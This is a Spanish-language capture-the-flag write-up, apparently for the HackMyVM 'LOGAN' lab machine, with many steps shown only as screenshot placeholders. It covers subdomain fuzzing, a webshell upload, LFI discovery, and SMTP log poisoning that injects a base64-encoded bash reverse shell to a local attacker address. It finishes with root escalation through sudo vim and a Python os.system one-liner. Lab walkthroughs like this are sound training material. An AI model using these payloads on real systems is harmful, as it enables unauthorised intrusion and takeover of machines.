====== Máquina LOGAN ====== Hacemos el reconocimiento con nmap: {{pasted_image_20231015104825.png|}} Si intentamos acceder al puerto 80, vemos que se está aplicando virtual hosting, por lo que tenemos que añadir el logan.hmv al ''/etc/hosts'': {{pasted_image_20231015104929.png|}} {{pasted_image_20231015104958.png|}} Y ahora si nos funciona la web: {{pasted_image_20231015105019.png|}} Hacemos fuzzing para ver si encontramos algún subdominio: wfuzz -c --hc=404 -t 200 --hl=1 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.logan.hmv" -u 192.168.0.37 {{pasted_image_20231015105839.png|}} Y añadimos el nuevo subdominio al fichero hosts: {{pasted_image_20231015105914.png|}} Y esto es lo que tenemos: {{pasted_image_20231015105937.png|}} Vamos a subir una webshell dentro del apartado para subir archivos, por lo que usamos la de pentest monkey: {{pasted_image_20231015110229.png|}} {{pasted_image_20231015110104.png|}} Una vez subido, tenemos que encontrar donde se guardó la webshell, por lo que haremos fuzzing, donde vemos el directorio payments: {{pasted_image_20231015110321.png|}} Y nos encontramos con esto: {{pasted_image_20231015110442.png|}} Y esto en el payments.php: {{pasted_image_20231015111111.png|}} En este input vamos a hacer un ataque de intruder para ver el payload que tenemos que utilizar para explotar alguna vulnerabilidad: {{pasted_image_20231015111342.png|}} Donde tenemos que meter el siguiente payload para explotar un LFI, por lo que usamos este diccionario: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt {{pasted_image_20231015111556.png|}} Y ahora lo cargamos en burp suite: {{pasted_image_20231015111650.png|}} /etc/passwd Una vez que ya sabemos que tenemos un LFI, podemos intentar en hacer un log poisoning por el puerto 25, donde fácilmente podamos acceder al directorio /var/log/mail: /var/log/mail.log {{pasted_image_20231015112723.png|}} Por lo que vamos a hacer un log poisoning al puerto smtp, donde en esta web tenemos unas instrucciones: {{pasted_image_20231015112417.png|}} Donde se nos dice cómo debemos inyectar un comando: {{pasted_image_20231015113537.png|}} Por lo que buscamos el one liner de la reverse shell y lo codificamos en base64: {{pasted_image_20231015113615.png|}} {{pasted_image_20231015113800.png|}} L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjMzLzQ0MyAwPiYxIg== Y ahora con telnet nos conectamos y ejecutamos los siguientes comandos: telnet 192.168.0.37 25 MAIL FROM: RCPT TO: {{pasted_image_20231015115113.png|}} Y ahora si recargamos la página principal inyectando nuevamente el payload para ver el fichero de logs del puerto 25, habremos obtenido una reverse shell: {{pasted_image_20231015115136.png|}} {{pasted_image_20231015115120.png|}} Y vemos que si ejecutamos el comando sudo -l, podremos ejecutar comandos con vim como root: [[:computing:hacking:escalada_de_privilegios:linux:14_Escalada_de_Privilegios_con_VIM|14 - Escalada de Privilegios con VIM]] {{pasted_image_20231015115323.png|}} Por tanto ejecutamos el siguiente comando: sudo -u logan /usr/bin/vim hola.txt Y ponemos lo siguiente: {{pasted_image_20231015115631.png|}} Y ya somos el usuario logan: {{pasted_image_20231015115648.png|}} Si volvemos a ejecutar el comando sudo -l, vemos que esta vez con el usuario logan podemos ejecutar un script: {{pasted_image_20231015115723.png|}} Y lo que nos permite este script es ejecutar un one liner de algo de python, por ejemplo un print: {{pasted_image_20231015115909.png|}} Lo que tenemos que hacer es importar la librería os de python y ejecutar algún comando, que puede ser lanzar una bash como root: print(__import__('os').system('bash')) {{pasted_image_20231015120412.png|}}